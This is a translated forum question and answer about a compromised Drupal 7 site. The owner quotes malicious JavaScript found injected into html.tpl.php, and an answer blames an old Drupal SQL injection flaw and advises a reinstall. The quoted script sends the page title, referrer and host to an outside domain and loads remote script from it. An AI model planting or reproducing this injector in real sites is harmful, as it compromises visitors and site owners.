[英]Malicious code injected into Drupal 7 website (html.tpl.php)
最近,我的Drupal网站停留在7.23上。 实际上,我必须回到过去,还原旧的数据库,然后复制/粘贴HTML以获取当前站点的干净版本。 不幸的是,即使经历了所有这些事情,今天我仍在检查我的网站,并且在加载管理仪表盘时,在浏览器的左下方看到了一个尴尬的URL。 网址为“ nla98.it”。 因此,我使用Sublime文本在文件中进行了查找,并找到了以下代码,我肯定没有将其插入到modules / system / html.tpl.php中:
<script>
var a=''; setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://nla98.it/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
</script>
显然,这是某种执行代码的脚本。 但是我的问题是,这是如何注入我的网站的? 我正在运行Drupal 7,升级到7.41,并且已多次运行更新脚本和cron。 我正在运行的脚本是:
jquery.js?v=1.12.0
jquery.once.js?v=1.2
drupal.js
jquery.cookie.js?v=1.0
textarea.js?v=7.41
jquery-ui-1.8.23.custom.min.js
gumby.js
modernizr-2.0.6.min.js
mobile-menu.js
jquery.ui.totop.js
easing.js
plugins.js
jquery.tweet.js
main.js
montreal.js
supersized.js
gen_validatorv31.js
http://html5shiv.googlecode.com/svn/trunk/html5.js
http://platform.linkedin.com/in.js
这可能是我正在使用的一个过时的JS中的一个漏洞吗? 我使用的模板是蒙特利尔(有点旧)。
感谢您的想法。
在7.32版之前,Drupal中存在一个非常关键的漏洞(登录时进行SQL注入)。 您基本上可以做任何事情:以超级管理员身份登录,然后执行php代码/上传文件(带有菜单)/创建帐户/...。 我怀疑您的问题来自过时的js库。 因此,升级核心后您可以做什么:
更快但更彻底的解决方案(也是唯一的一种100%安全的解决方案):擦拭服务器,重新安装它,从版本控制软件(git,svn,...)中复制旧的基本文件和drupal文件,并将核心升级到7.41。
下次,尝试更频繁地升级您的drupal核心,此漏洞在被发现后几乎立即得到修复,大多数受攻击的站点都等待太长时间来更新核心。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.